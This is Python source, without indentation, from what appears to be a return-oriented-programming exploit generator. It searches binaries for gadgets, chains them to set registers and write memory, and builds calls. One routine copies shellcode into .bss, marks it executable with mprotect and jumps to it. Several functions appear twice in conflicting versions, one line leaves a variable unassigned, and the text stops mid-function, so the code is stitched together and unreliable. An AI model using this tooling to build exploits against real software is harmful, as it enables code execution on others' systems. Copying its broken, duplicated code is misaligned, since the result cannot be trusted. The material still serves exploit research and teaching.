def verify(self, gadget):
if( self.ret == self.jmp == self.call == False ):
return (True, [])
elif( self.ret and gadget.retType == RetType.RET ):
return (True, [])
elif( self.jmp and gadget.retType == RetType.JMP ):
return (True, [])
elif( self.call and gadget.retType == RetType.CALL ):
return (True, [])
# If unknown ret, check if ret possible
# Is a ret sometimes possible ?
if( self.ret ):
for p in gadget.getSemantics(Arch.ipNum()):
if( isinstance(p.expr, MEMExpr)):
addr = p.expr.addr
(isInc, inc) = addr.isRegIncrement(Arch.spNum())
# Normal ret if the final value of the IP is value that was in memory before the last modification of SP ( i.e final_IP = MEM[final_sp - size_of_a_register )
if( isInc and inc == (gadget.spInc - (Arch.octets())) ):
return (True, [p.cond])
# Or a jump ?
if( self.jmp ):
for p in gadget.getSemantics(Arch.ipNum()):
if( isinstance(p.expr, SSAExpr )):
return (True, [p.cond])
return (False, [])
def init_impossible_REGtoREG(env):
global INIT_LMAX, INIT_MAXDEPTH
global baseAssertion
# DEBUG
#try:
startTime = datetime.now()
i = 0
impossible_count = 0
for reg1 in sorted(Arch.registers()):
reg_name = Arch.r2n(reg1)
if (len(reg_name) < 6):
reg_name += " " * (6 - len(reg_name))
elif (len(reg_name) >= 6):
reg_name = reg_name[:5] + "."
for reg2 in Arch.registers():
i += 1
charging_bar(len(Arch.registers() * len(Arch.registers())), i, 30)
if (reg2 == reg1 or reg2 == Arch.ipNum()):
continue
_search(QueryType.REGtoREG, reg1, (reg2, 0), env, n=1)
if (env.checkImpossible_REGtoREG(reg1, reg2, 0)):
impossible_count += 1
cTime = datetime.now() - startTime
# Get how many impossible path we found
impossible_rate = int(100 * (float(impossible_count) / float(
(len(Arch.registers()) - 1) * len(Arch.registers()))))
notify('Optimization rate : {}%'.format(impossible_rate))
notify("Computation time : " + str(cTime))
def init_impossible_REGtoREG(env):
global INIT_LMAX, INIT_MAXDEPTH
global baseAssertion
try:
startTime = datetime.now()
i = 0
impossible_count = 0
for reg1 in sorted(Arch.registers()):
reg_name = Arch.r2n(reg1)
if (len(reg_name) < 6):
reg_name += " " * (6 - len(reg_name))
elif (len(reg_name) >= 6):
reg_name = reg_name[:5] + "."
for reg2 in Arch.registers():
i += 1
charging_bar(len(Arch.registers() * len(Arch.registers())), i,
30)
if (reg2 == reg1 or reg2 == Arch.ipNum()):
continue
_search(QueryType.REGtoREG, reg1, (reg2, 0), env, n=1)
if (env.checkImpossible_REGtoREG(reg1, reg2, 0)):
impossible_count += 1
cTime = datetime.now() - startTime
# Get how many impossible path we found
impossible_rate = int(100 * (float(impossible_count) / float(
(len(Arch.registers()) - 1) * len(Arch.registers()))))
notify('Optimization rate : {}%'.format(impossible_rate))
notify("Computation time : " + str(cTime))
except:
print("\n")
fatal("Exception caught, stopping Semantic Engine init process...\n")
fatal("Search time might get very long !\n")
env = SearchEnvironment(INIT_LMAX, Constraint(), baseAssertion,
INIT_MAXDEPTH)
def _CSTtoREG_transitivity(reg, cst, env, n=1):
"""
Perform REG1 <- CST with REG1 <- REG2 <- CST
"""
ID = StrategyType.CSTtoREG_TRANSITIVITY
## Test for special cases
# Test lmax
if (env.getLmax() <= 0):
return []
# Limit number of calls to ...
elif (env.nbCalls(ID) >= 99):
return []
# Check if the cst is in badBytes
elif (not env.getConstraint().badBytes.verifyAddress(cst)):
return []
# Check if previous call was already CSTtoREG_transitivity
# Reason: we handle the transitivity with REGtoREG transitivity
# so no need to do it also recursively with this one ;)
elif (env.callsHistory()[-1] == ID):
return []
# Set env
env.addCall(ID)
#############################
res = []
for inter in Arch.registers():
if (inter == reg or inter in env.getConstraint().getRegsNotModified()
or inter == Arch.ipNum() or inter == Arch.spNum()):
continue
# Find reg <- inter
inter_to_reg = _search(QueryType.REGtoREG, reg, (inter, 0), env, n)
if (inter_to_reg):
# We found ROPChains s.t reg <- inter
# Now we want inter <- cst
min_len = min([len(chain) for chain in inter_to_reg])
env.subLmax(min_len)
env.addUnusableReg(reg)
cst_to_inter = _search(QueryType.CSTtoREG, inter, cst, env,
n / len(inter_to_reg) + 1)
env.removeUnusableReg(reg)
env.addLmax(min_len)
for chain2 in inter_to_reg:
for chain1 in cst_to_inter:
if (len(chain1) + len(chain2) <= env.getLmax()):
res.append(chain1.addChain(chain2, new=True))
# Did we get enough chains ?
if (len(res) >= n):
break
###############################
# Restore env
env.removeCall(ID)
return res[:n]
def CSTtoMEM_write(arg1, cst, constraint, assertion, n=1, clmax=LMAX):
"""
reg <- cst
mem(arg2) <- reg
"""
if (clmax <= 0):
return []
res = []
addr_reg = arg1[0]
addr_cst = arg1[1]
# 1. First strategy (direct)
# reg <- cst
# mem(arg1) <- reg
for reg in range(0, Arch.ssaRegCount):
if (reg == Arch.ipNum() or reg == Arch.spNum() or reg == addr_reg):
continue
# Find reg <- cst
# maxdepth 3 or it's too slow
cst_to_reg_chains = search(QueryType.CSTtoREG,
reg,
cst,
constraint.add(RegsNotModified([addr_reg])),
assertion,
n,
clmax - 1,
maxdepth=3)
if (not cst_to_reg_chains):
continue
# Search for mem(arg1) <- reg
# We get all reg2,cst2 s.t mem(arg1) <- reg2+cst2
possible_mem_writes = DBPossibleMemWrites(addr_reg,
addr_cst,
constraint,
assertion,
n=1)
# 1.A. Ideally we look for reg2=reg and cst2=0 (direct_writes)
possible_mem_writes_reg = possible_mem_writes.get(reg)
if (possible_mem_writes_reg):
direct_writes = possible_mem_writes[reg].get(0, [])
else:
direct_writes = []
padding = constraint.getValidPadding(Arch.octets())
for write_gadget in direct_writes:
for cst_to_reg_chain in cst_to_reg_chains:
# Pad the gadgets
write_chain = ROPChain([write_gadget])
for i in range(0, write_gadget.spInc - Arch.octets(),
Arch.octets()):
write_chain.addPadding(padding)
full_chain = cst_to_reg_chain.addChain(write_chain, new=True)
if (len(full_chain) <= clmax):
res.append(full_chain)
if (len(res) >= n):
return res
# 1.B.
return res
def _MEMtoREG_transitivity(reg, arg2, env, n=1):
"""
Perform reg <- inter <- mem(arg2)
"""
ID = StrategyType.MEMtoREG_TRANSITIVITY
## Test for special cases
# Test lmax
if (env.getLmax() <= 0):
return FailRecord(lmax=True)
# Limit number of calls to ...
elif (env.nbCalls(ID) >= 99):
return FailRecord()
# Check if previous call was already MEMtoREG_transitivity
# Reason: we handle the transitivity with REGtoREG transitivity
# so no need to do it also recursively with this one ;)
elif (env.callsHistory()[-1] == ID):
return FailRecord()
# Set env
env.addCall(ID)
###########################
res = []
res_fail = FailRecord()
for inter in Arch.registers():
if (inter == reg or inter in env.getConstraint().getRegsNotModified()
or inter == Arch.ipNum() or inter == Arch.spNum()):
continue
# Find arg1 <- inter
inter_to_reg = _search(QueryType.REGtoREG, reg, (inter, 0), env, n)
if (inter_to_reg):
min_len = min([len(chain) for chain in inter_to_reg])
# Try to find inter <- arg2
env.subLmax(min_len)
env.addUnusableReg(reg)
arg2_to_inter = _search(QueryType.MEMtoREG, inter, arg2, env, n)
env.removeUnusableReg(reg)
env.addLmax(min_len)
if (not arg2_to_inter):
res_fail.merge(arg2_to_inter)
continue
res += [chain1.addChain(chain2, new=True) for chain1 in arg2_to_inter \
for chain2 in inter_to_reg if len(chain1)+len(chain2) <= env.getLmax() ]
else:
res_fail.merge(inter_to_reg)
# Did we get enough chains ?
if (len(res) >= n):
break
########################
# Restore env
env.removeCall(ID)
return res[:n] if res else res_fail
def _CSTtoREG_transitivity(reg,
cst,
constraint,
assertion,
n=1,
clmax=LMAX,
comment=None,
maxdepth=4):
"""
Perform REG1 <- CST with REG1 <- REG2 <- CST
"""
# Test clmax
if (clmax <= 0):
return []
res = []
for inter in range(0, Arch.ssaRegCount):
if (inter == reg or inter in constraint.getRegsNotModified()
or inter == Arch.ipNum() or inter == Arch.spNum()):
continue
# Find reg <- inter
REGtoREG_record = SearchRecord(maxdepth=maxdepth)
REGtoREG_record.unusable_REGtoREG.append(reg)
inter_to_reg = search(QueryType.REGtoREG,
reg, (inter, 0),
constraint,
assertion,
n,
clmax,
record=REGtoREG_record)
if (inter_to_reg):
# We found ROPChains s.t reg <- inter
# Now we want inter <- cst
cst_to_inter = _basic(QueryType.CSTtoREG, inter, cst, constraint,
assertion, n / len(inter_to_reg) + 1,
clmax - 1)
for chain2 in inter_to_reg:
for chain1 in cst_to_inter:
if (len(chain1) + len(chain2) <= clmax):
res.append(chain1.addChain(chain2, new=True))
if (len(res) < n):
cst_to_inter = _CSTtoREG_pop(inter, cst, constraint, assertion,
n / (len(inter_to_reg)) + 1,
clmax - 1, comment)
for chain2 in inter_to_reg:
for chain1 in cst_to_inter:
if (len(chain1) + len(chain2) <= clmax):
res.append(chain1.addChain(chain2, new=True))
# Did we get enough chains ?
if (len(res) >= n):
return res[:n]
# Return what we got
return res
def _REGtoMEM_transitivity(arg1, arg2, env, n=1):
"""
reg <- arg2
mem(arg1) <- reg
"""
ID = StrategyType.REGtoMEM_TRANSITIVITY
## Test for special cases
# Test lmax
if (env.getLmax() <= 0):
return FailRecord(lmax=True)
# Limit number of calls to ...
elif (env.nbCalls(ID) >= 99):
return FailRecord()
# Check if previous call was already REGtoMEM_transitivity
# Reason: we handle the transitivity with REGtoREG transitivity
# so no need to do it also recursively with this one ;)
elif (env.callsHistory()[-1] == ID):
return FailRecord()
# Set env
env.addCall(ID)
###################################
res = []
res_fail = FailRecord()
for inter in Arch.registers():
if (inter == arg2[0]
or inter in env.getConstraint().getRegsNotModified()
or inter == Arch.ipNum() or inter == Arch.spNum()):
continue
# Find inter <- arg2
arg2_to_inter = _search(QueryType.REGtoREG, inter, (arg2[0], arg2[1]),
env, n)
if (arg2_to_inter):
len_min = min([len(chain) for chain in arg2_to_inter])
# Try to find mem(arg1) <- inter
env.subLmax(len_min)
env.addUnusableReg(arg2[0])
inter_to_mem = _search(QueryType.REGtoMEM, arg1, (inter, 0), env)
env.removeUnusableReg(arg2[0])
env.addLmax(len_min)
if (not inter_to_mem):
res_fail.merge(inter_to_mem)
continue
res += [chain1.addChain(chain2, new=True) for chain1 in arg2_to_inter\
for chain2 in inter_to_mem if len(chain1)+len(chain2) <= env.getLmax()]
if (len(res) >= n):
break
else:
res_fail.merge(arg2_to_inter)
#####################################
# Resotre env
env.removeCall(ID)
return res if res else res_fail
def _CSTtoREG_pop(reg,
cst,
constraint,
assertion,
n=1,
clmax=LMAX,
comment=None):
"""
Returns a payload that puts cst into register reg by poping it from the stack
"""
# Test clmax
if (clmax <= 0):
return []
# Test n
if (n < 1):
return []
# Check if the cst is incompatible with the constraint
if (not constraint.badBytes.verifyAddress(cst)):
return []
if (not comment):
comment = "Constant: " + string_bold("0x{:x}".format(cst))
# Direct pop from the stack
res = []
if (reg == Arch.ipNum()):
constraint2 = constraint.remove([CstrTypeID.CHAINABLE])
else:
constraint2 = constraint.add(Chainable(ret=True))
possible = DBPossiblePopOffsets(reg, constraint2, assertion)
for offset in sorted(filter(lambda x: x >= 0, possible.keys())):
# If offsets are too big to fit in the lmax just break
if (offset > clmax * Arch.octets()):
break
# Get possible gadgets
possible_gadgets = [g for g in possible[offset]\
if g.spInc >= Arch.octets() \
and g.spInc - Arch.octets() > offset \
and (g.spInc/Arch.octets()-1) <= clmax] # Test if padding is too much for clmax
# Pad the gadgets
padding = constraint.getValidPadding(Arch.octets())
for gadget in possible_gadgets:
chain = ROPChain([gadget])
for i in range(0, gadget.spInc - Arch.octets(), Arch.octets()):
if (i == offset):
chain.addPadding(cst, comment)
else:
chain.addPadding(padding)
if (len(chain) <= clmax):
res.append(chain)
if (len(res) >= n):
return res
return res
def build_call(funcName, funcArgs, constraint, assertion):
# Find the address of the fonction
(funcName2, funcAddr) = getFunctionAddress(funcName)
if (funcName2 is None):
return "Couldn't find function '{}' in the binary".format(funcName)
# Check if bad bytes in function address
if (not constraint.badBytes.verifyAddress(funcAddr)):
return "'{}' address ({}) contains bad bytes".format(
funcName2,
string_special('0x' + format(funcAddr, '0' +
str(Arch.octets() * 2) + 'x')))
# Find a gadget for the fake return address
offset = len(
funcArgs) * 8 - 8 # Because we do +8 at the beginning of the loop
skip_args_chains = []
i = 4
while (i > 0 and (not skip_args_chains)):
offset += 8
skip_args_chains = search(QueryType.MEMtoREG, Arch.ipNum(), \
(Arch.spNum(),offset), constraint, assertion, n=1)
i -= 1
if (not skip_args_chains):
return "Couldn't build ROP-Chain"
skip_args_chain = skip_args_chains[0]
# Build the ropchain with the arguments
args_chain = ROPChain()
arg_n = len(funcArgs)
for arg in reversed(funcArgs):
if (isinstance(arg, int)):
args_chain.addPadding(arg,
comment="Arg{}: {}".format(
arg_n, string_ropg(hex(arg))))
arg_n -= 1
else:
return "Type of argument '{}' not supported yet :'(".format(arg)
# Build call chain (function address + fake return address)
call_chain = ROPChain()
call_chain.addPadding(funcAddr, comment=string_ropg(funcName2))
skip_args_addr = int(
validAddrStr(skip_args_chain.chain[0], constraint.getBadBytes(),
Arch.bits()), 16)
call_chain.addPadding(skip_args_addr,
comment="Address of: " +
string_bold(str(skip_args_chain.chain[0])))
return call_chain.addChain(args_chain)
def build_call_linux86(funcName, funcArgs, constraint, assertion, clmax=None, optimizeLen=False):
# Find the address of the fonction
(funcName2, funcAddr) = getFunctionAddress(funcName)
if( funcName2 is None ):
return "Couldn't find function '{}' in the binary".format(funcName)
# Check if bad bytes in function address
if( not constraint.badBytes.verifyAddress(funcAddr) ):
return "'{}' address ({}) contains bad bytes".format(funcName2, string_special('0x'+format(funcAddr, '0'+str(Arch.octets()*2)+'x')))
# Check if lmax too small
if( (1 + len(funcArgs) + (lambda x: 1 if len(x)>0 else 0)(funcArgs)) > clmax ):
return "Not enough bytes to call function '{}'".format(funcName)
# Find a gadget for the fake return address
if( funcArgs ):
offset = (len(funcArgs)-1)*Arch.octets() # Because we do +octets() at the beginning of the loop
skip_args_chains = []
i = 4 # Try 4 more maximum
while( i > 0 and (not skip_args_chains)):
offset += Arch.octets()
skip_args_chains = search(QueryType.MEMtoREG, Arch.ipNum(), \
(Arch.spNum(),offset), constraint, assertion, n=1, optimizeLen=optimizeLen)
i -= 1
if( not skip_args_chains ):
return "Couldn't build ROP-Chain"
skip_args_chain = skip_args_chains[0]
else:
# No arguments
skip_args_chain = None
# Build the ropchain with the arguments
args_chain = ROPChain()
arg_n = len(funcArgs)
for arg in reversed(funcArgs):
if( isinstance(arg, int) ):
args_chain.addPadding(arg, comment="Arg{}: {}".format(arg_n, string_ropg(hex(arg))))
arg_n -= 1
else:
return "Type of argument '{}' not supported yet :'(".format(arg)
# Build call chain (function address + fake return address)
call_chain = ROPChain()
call_chain.addPadding(funcAddr, comment=string_ropg(funcName2))
if( funcArgs ):
skip_args_addr = int( validAddrStr(skip_args_chain.chain[0], constraint.getBadBytes(), Arch.bits()) ,16)
call_chain.addPadding(skip_args_addr, comment="Address of: "+string_bold(str(skip_args_chain.chain[0])))
return call_chain.addChain(args_chain)
def _REGtoREG_transitivity(arg1,
arg2,
constraint,
assertion,
record,
n=1,
clmax=LMAX):
"""
Perform REG1 <- REG2+CST with REG1 <- REG3 <- REG2+CST
"""
# Test clmax
if (clmax <= 0):
return []
# If reg1 <- reg1 + 0, return
if (arg1 == arg2[0] and arg2[1] == 0):
return []
res = []
for inter_reg in range(0, Arch.ssaRegCount):
if( inter_reg == arg1 or (inter_reg == arg2[0] and arg2[1]==0)\
or (inter_reg in record.unusable_REGtoREG) or inter_reg == Arch.ipNum()\
or (inter_reg == Arch.spNum()) ):
continue
# Find reg1 <- inter_reg without using arg2
record.unusable_REGtoREG.append(arg2[0])
inter_to_arg1_list = search(QueryType.REGtoREG, arg1, (inter_reg, 0), \
constraint, assertion, n, clmax=clmax-1, record=record )
record.unusable_REGtoREG.remove(arg2[0])
if (not inter_to_arg1_list):
continue
# Find inter_reg <- arg2 without using arg1
record.unusable_REGtoREG.append(arg1)
n2 = n / len(inter_to_arg1_list)
if (n2 == 0):
n2 = 1
for arg2_to_inter in search(QueryType.REGtoREG, inter_reg, arg2, \
constraint, assertion, n2, clmax=clmax-1, record=record):
for inter_to_arg1 in inter_to_arg1_list:
if (len(inter_to_arg1) + len(arg2_to_inter) <= clmax):
res.append(arg2_to_inter.addChain(inter_to_arg1, new=True))
if (len(res) >= n):
return res
record.unusable_REGtoREG.remove(arg1)
return res
def MEMtoREG_transitivity(reg, arg2, constraint, assertion, n=1, clmax=LMAX):
if (clmax <= 0):
return []
res = []
for inter in range(0, Arch.ssaRegCount):
if (inter == reg or inter in constraint.getRegsNotModified()
or inter == Arch.ipNum() or inter == Arch.spNum()):
continue
# Find arg1 <- inter
REGtoREG_record = SearchRecord(maxdepth=4)
REGtoREG_record.unusable_REGtoREG.append(reg)
inter_to_reg = search(QueryType.REGtoREG,
reg, (inter, 0),
constraint,
assertion,
n,
clmax - 1,
record=REGtoREG_record)
if (inter_to_reg):
len_min = min([len(chain) for chain in inter_to_reg])
# Try to find inter <- arg2
# First strategy basic
arg2_to_inter = _basic(QueryType.MEMtoREG, inter, arg2,
constraint.add(Chainable(ret=True)),
assertion, n, clmax - len_min)
res += [chain1.addChain(chain2, new=True) for chain1 in arg2_to_inter \
for chain2 in inter_to_reg if len(chain1)+len(chain2) <= clmax ]
# Second strategy read reg (TODO)
if (len(res) < n):
pass
# Did we get enough chains ?
if (len(res) >= n):
return res
# Return the best we got
return res
def __init__(self, addr_list, raw):
"""
addr_list = list of addresses of the gadget (if duplicate gadgets)
raw = raw string of gadget asm
"""
# Check the type of the gadget
# Check for 'int 0x80' gadgets
if (raw == '\xcd\x80' and Arch.currentIsIntel()):
self.type = GadgetType.INT80
self.asmStr = 'int 0x80'
self.hexStr = '\\xcd\\x80'
self.addrList = addr_list
self.nbInstr = self.nbInstrREIL = 1
self.semantics = Semantics()
return
# Check for 'syscall' gadgets
elif (raw == '\x0f\x05' and Arch.currentIsIntel()):
self.type = GadgetType.SYSCALL
self.asmStr = 'syscall'
self.hexStr = '\\x0f\\x05'
self.addrList = addr_list
self.nbInstr = self.nbInstrREIL = 1
self.semantics = Semantics()
return
# Translate raw assembly into REIL
# Then compute the Graph and its semantics
try:
(irsb, ins) = Arch.currentArch.asmToREIL(raw)
except Arch.ArchException as e:
raise GadgetException(str(e))
try:
self.graph = REILtoGraph(irsb)
self.semantics = self.graph.getSemantics()
except GraphException as e:
raise GadgetException("(In {}) - ".format('; '.join(
str(i) for i in ins)) + str(e))
self.type = GadgetType.REGULAR
# Possible addresses
self.addrList = addr_list
# String representations
self.asmStr = '; '.join(str(i) for i in ins)
self.hexStr = '\\x' + '\\x'.join("{:02x}".format(ord(c)) for c in raw)
# Length of the gadget
self.nbInstr = len(ins)
self.nbInstrREIL = len(irsb)
# List of modified registers
# And of memory-read accesses
self._modifiedRegs = []
self._memoryReads = []
for reg_num in list(
set([reg.num for reg in self.semantics.registers.keys()])):
# Check if there is an empty semantics
if (not self.getSemantics(reg_num)):
#self.semantics.registers.pop(reg)
log("Gadget ({}) : empty semantics for {}"\
.format(self.asmStr, Arch.r2n(reg_num)))
self._modifiedRegs.append(reg_num)
continue
# Get modified reg
if ((SSAExpr(reg_num, 0) != self.getSemantics(reg_num)[0].expr)):
self._modifiedRegs.append(reg_num)
# Get memory reads
for pair in self.getSemantics(reg_num):
self._memoryReads += [m[0] for m in pair.expr.getMemAcc()]
self._modifiedRegs = list(set(self._modifiedRegs))
# SP Increment
if (self.type != GadgetType.REGULAR):
self.spInc = None
else:
sp_num = Arch.spNum()
if (not sp_num in self.graph.lastMod):
self.spInc = 0
else:
sp = SSAReg(sp_num, self.graph.lastMod[sp_num])
if (len(self.semantics.get(sp)) == 1):
(isInc, inc
) = self.semantics.get(sp)[0].expr.isRegIncrement(sp_num)
if (isInc):
self.spInc = inc
else:
self.spInc = None
else:
self.spInc = None
# Return type
self.retType = RetType.UNKNOWN
self.retValue = None
if (self.type == GadgetType.REGULAR):
ip_num = Arch.ipNum()
ip = SSAReg(ip_num, self.graph.lastMod[ip_num])
sp_num = Arch.spNum()
# DEBUG before this test if( self.spInc != None ):
for p in self.semantics.get(ip):
if (p.cond.isTrue()):
if (isinstance(p.expr, MEMExpr)):
addr = p.expr.addr
(isInc, inc) = addr.isRegIncrement(sp_num)
# Normal ret if the final value of the IP is value that was in memory before the last modification of SP ( i.e final_IP = MEM[final_sp - size_of_a_register )
if (isInc and self.spInc
and inc == (self.spInc -
(Arch.currentArch.octets))):
self.retType = RetType.RET
self.retValue = p.expr
elif (isinstance(p.expr, SSAExpr)):
self.retValue = p.expr
# Try to detect gadgets ending by 'call'
if (ins[-1]._mnemonic[:4] == "call"):
self.retType = RetType.CALL
else:
self.retType = RetType.JMP
def build_dshell(shellcode, constraint, assertion, address, limit, lmax):
"""
Returns a PwnChain() instance or None
"""
# Build exploit
#################
res = PwnChain()
#Find address for the payload
if (not address):
# Get the .bss address
# TODO
notify("Getting delivery address for shellcode")
address = getSectionAddress('.bss')
addr_str = ".bss"
if (not address):
verbose("Couldn't find .bss address")
return []
else:
addr_str = hex(address)
if (not limit):
limit = address + Arch.minPageSize()
# Deliver shellcode
notify("Building chain to copy shellcode in memory")
verbose("{}/{} bytes available".format(lmax * Arch.octets(),
lmax * Arch.octets()))
(shellcode_address, STRtoMEM_chain) = STRtoMEM(shellcode,
address,
constraint,
assertion,
limit=limit,
lmax=lmax,
addr_str=addr_str,
hex_info=True,
optimizeLen=True)
address = shellcode_address
addr_str = hex(address)
if (not STRtoMEM_chain):
verbose("Could not copy shellcode into memory")
return None
# Building mprotect
notify("Building mprotect() chain")
# Getting page to make executable
# Arg of mprotect MUST be a valid multiple of page size
over_page_size = address % Arch.minPageSize()
page_address = address - over_page_size
length = len(shellcode) + 1 + over_page_size
flag = 7
lmax2 = lmax - len(STRtoMEM_chain)
verbose("{}/{} bytes available".format(lmax2 * Arch.octets(),
lmax * Arch.octets()))
if (lmax2 <= 0):
return None
if (Arch.currentArch == Arch.ArchX86):
mprotect_chain = build_mprotect32(page_address,
length,
flag,
constraint.add(Chainable(ret=True)),
assertion,
clmax=lmax2 - 2,
optimizeLen=True)
elif (Arch.currentArch == Arch.ArchX64):
mprotect_chain = build_mprotect64(page_address,
length,
flag,
constraint.add(Chainable(ret=True)),
assertion,
clmax=lmax2 - 2,
optimizeLen=True)
else:
mprotect_chain = None
verbose("mprotect call not supported for architecture {}".format(
Arch.currentArch.name))
return None
if (not mprotect_chain):
return None
verbose("Done")
# Jump to shellcode
notify("Searching chain to jump to shellcode")
verbose("{}/{} bytes available".format(
(lmax2 - len(mprotect_chain)) * Arch.octets(), lmax * Arch.octets()))
jmp_shellcode_chains = search(QueryType.CSTtoREG,
Arch.ipNum(),
address,
constraint,
assertion,
clmax=lmax - len(STRtoMEM_chain) -
len(mprotect_chain),
optimizeLen=True)
if (not jmp_shellcode_chains):
verbose("Couldn't find a jump to the shellcode")
return None
verbose("Done")
notify("Done")
# Build PwnChain res and return
res.add(mprotect_chain,
"Call mprotect({},{},{})".format(hex(page_address), length, flag))
res.add(STRtoMEM_chain, "Copy shellcode to {}".format(addr_str))
res.add(jmp_shellcode_chains[0],
"Jump to shellcode (address {})".format(addr_str))
return res
def _adjust_ret(qtype, arg1, arg2, env, n):
"""
Search with basic but adjust the bad returns they have
"""
global LMAX
ID = StrategyType.ADJUST_RET
## Test for special cases
# Test lmax
if (env.getLmax() <= 0):
return FailRecord(lmax=True)
# Limit number of calls to ...
elif (env.nbCalls(ID) >= 2):
return FailRecord()
# Test for ip
# Reason: can not adjust ip if ip is the
# target of the query :/
elif (arg1 == Arch.ipNum()):
return FailRecord()
# Set env
env.addCall(ID)
saved_adjust_ret = env.getImpossible_adjust_ret().copy()
########################################
res = []
res_fail = FailRecord()
padding = env.getConstraint().getValidPadding(Arch.octets())
# Get possible gadgets
constraint = env.getConstraint()
env.setConstraint(constraint.add(Chainable(jmp=True, call=True)))
possible = _basic(qtype, arg1, arg2, env, 10 * n)
env.setConstraint(constraint)
if (not possible):
res_fail.merge(possible)
possible = []
# Try to adjust them
for chain in possible:
g = chain.chain[0]
ret_reg = g.retValue.reg.num
# Check if we already know that ret_reg can't be adjusted
if (env.checkImpossible_adjust_ret(ret_reg)):
continue
#Check if ret_reg not modified within the gadget
elif (ret_reg in g.modifiedRegs()):
continue
# Check if stack is preserved
elif (g.spInc is None):
continue
# Find adjustment
if (g.spInc < 0):
offset = -1 * g.spInc
padding_length = 0
else:
padding_length = g.spInc / Arch.octets()
if (g.retType == RetType.JMP):
offset = 0
else:
offset = Arch.octets()
if (isinstance(arg1, int)):
arg1_reg = arg1
else:
arg1_reg = arg1[0]
# Get adjustment gadgets
env.setConstraint(constraint.add(RegsNotModified([arg1_reg])))
saved_lmax = env.getLmax()
env.setLmax(LMAX)
adjust_gadgets = _search(QueryType.MEMtoREG, Arch.ipNum(), \
(Arch.spNum(),offset), env, n=1)
env.setConstraint(constraint)
env.setLmax(saved_lmax)
if (not adjust_gadgets):
res_fail.merge(adjust_gadgets)
continue
else:
adjust_addr = int(validAddrStr(adjust_gadgets[0].chain[0],\
constraint.getBadBytes(), Arch.bits()), 16)
# Find gadgets to put the gadget address in the jmp/call register
if (isinstance(arg2, int)):
arg2_reg = arg2
else:
arg2_reg = arg2[0]
env.setConstraint(constraint.add(RegsNotModified([arg2_reg])))
env.subLmax(1 + padding_length)
env.pushComment(
StrategyType.CSTtoREG_POP,
"Address of " + string_bold(str(adjust_gadgets[0].chain[0])))
adjust = _search(QueryType.CSTtoREG, ret_reg, adjust_addr, env, n=1)
env.popComment(StrategyType.CSTtoREG_POP)
env.addLmax(1 + padding_length)
env.setConstraint(constraint)
if (adjust):
res.append(adjust[0].addGadget(g).addPadding(padding,
n=padding_length))
if (len(res) >= n):
break
else:
# Update the search record to say that reg_ret cannot be adjusted
env.addImpossible_adjust_ret(ret_reg)
res_fail.merge(adjust)
########################################
# Restore env
env.impossible_adjust_ret = saved_adjust_ret
env.removeCall(ID)
return res if res else res_fail
def _CSTtoMEM_write(arg1, cst, env, n=1):
"""
reg <- cst
mem(arg2) <- reg
"""
ID = StrategyType.CSTtoMEM_WRITE
## Test for special cases
# Test lmax
if (env.getLmax() <= 0):
return FailRecord(lmax=True)
# Limit number of calls to ...
elif (env.nbCalls(ID) >= 99):
return FailRecord()
# Set env
env.addCall(ID)
######################################
res = []
res_fail
addr_reg = arg1[0]
addr_cst = arg1[1]
# 1. First strategy (direct)
# reg <- cst
# mem(arg1) <- reg
for reg in Arch.registers():
if (reg == Arch.ipNum() or reg == Arch.spNum() or reg == addr_reg):
continue
# Find reg <- cst
constraint = env.getConstraint()
env.setConstraint(constraint.add(RegsNotModified([addr_reg])))
env.subLmax(1)
cst_to_reg_chains = _search(QueryType.CSTtoREG, reg, cst, env, n)
env.addLmax(1)
env.setConstraint(constraint)
if (not cst_to_reg_chains):
res_fail.merge(cst_to_reg_chains)
continue
# Search for mem(arg1) <- reg
# We get all reg2,cst2 s.t mem(arg1) <- reg2+cst2
possible_mem_writes = DBPossibleMemWrites(addr_reg,
addr_cst,
env.getConstraint(),
env.getAssertion(),
n=1)
# 1.A. Ideally we look for reg2=reg and cst2=0 (direct_writes)
possible_mem_writes_reg = possible_mem_writes.get(reg)
if (possible_mem_writes_reg):
direct_writes = possible_mem_writes[reg].get(0, [])
else:
direct_writes = []
padding = constraint.getValidPadding(Arch.octets())
for write_gadget in direct_writes:
for cst_to_reg_chain in cst_to_reg_chains:
# Pad the gadgets
write_chain = ROPChain([write_gadget])
for i in range(0, write_gadget.spInc - Arch.octets(),
Arch.octets()):
write_chain.addPadding(padding)
full_chain = cst_to_reg_chain.addChain(write_chain, new=True)
if (len(full_chain) <= env.getLmax()):
res.append(full_chain)
if (len(res) >= n):
break
if (len(res) >= n):
break
if (len(res) >= n):
break
# 1.B. Otherwise we try to adjust the cst2
# To be implemented
# 2d Strategy: indirect
# reg <- arg2 - cst
# mem(arg1) <- reg + cst
# TO IMPLEMENT IN ANOTHER FUNCTION !
###################
# Restore env
env.removeCall(ID)
return res if res else res_fail
def STRtoMEM_memcpy(string,
addr,
constraint,
assertion,
lmax=STR_TO_MEM_LMAX,
addr_str=None,
hex_info=False):
"""
MEMCPY STRATEGY
Copy the string using memcpy function
"""
if (not addr_str):
addr_str = "0x" + format(addr, '0' + str(Arch.octets() * 2) + 'x')
# Getting strcpy function
(func_name, func_addr) = getFunctionAddress('memcpy')
if (not func_addr):
verbose('Could not find memcpy function')
return None
elif (not constraint.badBytes.verifyAddress(func_addr)):
verbose("memcpy address ({}) contains bad bytes".format(
hex(func_addr)))
return None
# We decompose the string in substrings to be copied
substrings_addr = findBytes(string, badBytes=constraint.getBadBytes())
if (not substrings_addr):
return None
elif (len(substrings_addr) * 5 > lmax):
verbose(
"Memcpy: ROP-Chain too long (length: {}, available bytes: {}) ".
format(
len(substrings_addr) * 5 * Arch.octets(),
lmax * Arch.octets()))
return None
# Get a pop-pop-pop-ret gadget
pppr_chains = _basic(QueryType.MEMtoREG,
Arch.ipNum(), [Arch.spNum(), 3 * Arch.octets()],
constraint.add(
StackPointerIncrement(4 * Arch.octets())),
assertion,
clmax=1,
noPadding=True)
if (not pppr_chains):
verbose("Memcpy: Could not find suitable pop-pop-pop-ret gadget")
return None
pppr_gadget = pppr_chains[0].chain[0] # Get the first gadget
# Build chain
res = ROPChain()
offset = 0
custom_stack = addr
for (substring_addr, substring_str) in substrings_addr:
if (hex_info):
substring_info = "'" + '\\x' + '\\x'.join(
["%02x" % ord(c) for c in substring_str]) + "'"
else:
substring_info = "'" + substring_str + "'"
res.addPadding(func_addr, comment=string_ropg(func_name))
res.addGadget(pppr_gadget)
res.addPadding(len(substring_str),
comment="Arg3: " + string_ropg(str(len(substring_str))))
res.addPadding(substring_addr,
comment="Arg2: " + string_ropg(substring_info))
res.addPadding(custom_stack,
comment="Arg1: " +
